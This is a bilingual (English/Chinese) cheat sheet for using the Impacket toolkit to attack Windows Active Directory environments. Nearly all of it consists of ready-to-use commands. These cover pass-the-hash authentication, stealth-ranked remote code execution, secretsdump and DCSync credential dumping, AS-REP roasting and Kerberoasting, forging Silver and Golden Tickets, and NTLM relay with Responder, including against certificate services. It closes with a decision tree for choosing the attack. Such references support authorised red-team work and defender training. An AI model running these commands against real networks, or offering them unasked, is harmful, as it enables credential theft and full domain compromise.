Impacket implements the Windows network protocol stack in pure Python, allowing direct operation of Windows targets on Linux—no need to install anything on the target.
Project address:https://github.com/fortra/impacket
Authentication methods
All Impacket tools support multiple authentication methods, and understanding these formats is important:
# 密码认证
tool.py DOMAIN/user:password@TARGET
# NTLM 哈希传递 (Pass-the-Hash)
tool.py DOMAIN/user@TARGET -hashes LM:NTLM
tool.py DOMAIN/user@TARGET -hashes :NTLM # LM 部分可省略
Kerberos ticket authentication
export KRB5CCNAME=/tmp/user.ccache tool.py DOMAIN/user@TARGET -k -no-pass
Local user (not in a domain)tool.py ./administrator:password@TARGET
## 远程命令执行
从无交互到全交互,选最稳定的:
```bash
# psexec — 通过 SMB 创建服务执行(最常用,需要管理员权限)
psexec.py DOMAIN/admin:password@TARGET
psexec.py DOMAIN/admin@TARGET -hashes :NTLM_HASH
# smbexec — 通过 SMB 管道执行(不上传二进制,更隐蔽)
smbexec.py DOMAIN/admin:password@TARGET
# wmiexec — 通过 WMI 执行(不创建服务,最隐蔽)
wmiexec.py DOMAIN/admin:password@TARGET
# dcomexec — 通过 DCOM 执行(备选)
dcomexec.py DOMAIN/admin:password@TARGET
# atexec — 通过计划任务执行(不需要交互式 shell)
atexec.py DOMAIN/admin:password@TARGET "whoami"
Selection recommendations
| Tool | Protocol | Port | Stealth | Interactive |
|---|---|---|---|---|
| wmiexec | WMI/DCOM | 135 | ⭐⭐⭐ | ✅ |
| smbexec | SMB | 445 | ⭐⭐ | ✅ |
| psexec | SMB | 445 | ⭐ | ✅ |
| atexec | Scheduled tasks | 445 | ⭐⭐ | ❌ |
| dcomexec | DCOM | 135 | ⭐⭐ | ✅ |
Credential extraction
# secretsdump — 域渗透最重要的工具,导出所有凭据
# 远程导出(需要域管/本地管理员)
secretsdump.py DOMAIN/admin:password@TARGET
secretsdump.py DOMAIN/admin@TARGET -hashes :NTLM_HASH
# 导出 DC 上所有域用户哈希(DCSync)
secretsdump.py DOMAIN/admin:password@DC_IP -just-dc
# 只导出 NTLM(不导出 Kerberos 密钥)
secretsdump.py DOMAIN/admin:password@DC_IP -just-dc-ntlm
# 从本地 SAM/SYSTEM 文件导出
secretsdump.py -sam SAM -system SYSTEM LOCAL
Kerberos attacks
# AS-REP Roasting — 查找不需要预认证的账户
GetNPUsers.py DOMAIN/ -usersfile users.txt -no-pass -dc-ip DC_IP -format hashcat
# 输出喂给 hashcat -m 18200
# Kerberoasting — 获取服务票据离线破解
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request
# 输出喂给 hashcat -m 13100
# 获取 TGT
getTGT.py DOMAIN/user:password -dc-ip DC_IP
# 生成 user.ccache → export KRB5CCNAME=user.ccache
# 获取 ST(约束委派 S4U 利用)
getST.py DOMAIN/svc_account:password -spn cifs/TARGET -impersonate administrator -dc-ip DC_IP
# -altservice 可替换服务类型
# Silver Ticket
ticketer.py -nthash SERVICE_NTLM -domain-sid S-1-5-21-... -domain DOMAIN -spn cifs/TARGET user
# Golden Ticket
ticketer.py -nthash KRBTGT_NTLM -domain-sid S-1-5-21-... -domain DOMAIN -extra-sid S-1-5-21-PARENT-519 user
Enumeration tools
# SID 枚举(发现用户/组 RID)
lookupsid.py DOMAIN/user:password@TARGET
# RPC 枚举(暴露的接口)
rpcdump.py DOMAIN/user:password@TARGET
# SAM 用户枚举
samrdump.py DOMAIN/user:password@TARGET
# 远程注册表操作
reg.py DOMAIN/admin:password@TARGET query -keyName HKLM\\SOFTWARE
NTLM relay
# 中继到 SMB(获取 shell 或 secretsdump)
ntlmrelayx.py -t smb://TARGET -smb2support
ntlmrelayx.py -t smb://TARGET -smb2support -c "whoami"
# 中继到 LDAP(域内 ACL 修改)
ntlmrelayx.py -t ldap://DC_IP --escalate-user user
# 中继到 ADCS Web Enrollment(ESC8)
ntlmrelayx.py -t http://CA/certsrv/certfnsh.asp --adcs --template DomainController
# 配合 Responder 使用
# 终端 1: responder -I eth0 -wv(抓 NTLM)
# 终端 2: ntlmrelayx.py -t smb://TARGET(中继 NTLM)
SMB file operations
# SMB 客户端
smbclient.py DOMAIN/user:password@TARGET
# 列出共享
smbclient.py DOMAIN/user:password@TARGET -list
# 上传/下载文件
smbclient.py DOMAIN/user:password@TARGET
# > use SHARE_NAME
# > put local_file
# > get remote_file
Decision tree
需要做什么 Windows 操作?
├─ 远程执行命令 → wmiexec(隐蔽)/ psexec(稳定)
├─ 导出凭据/哈希 → secretsdump
├─ Kerberos 攻击 → GetNPUsers / GetUserSPNs
├─ NTLM 中继 → ntlmrelayx + Responder
├─ 文件操作 → smbclient
├─ 有密码 → 直接用 user:password
├─ 有 NTLM 哈希 → -hashes :NTLM(PTH)
└─ 有 Kerberos 票据 → -k -no-pass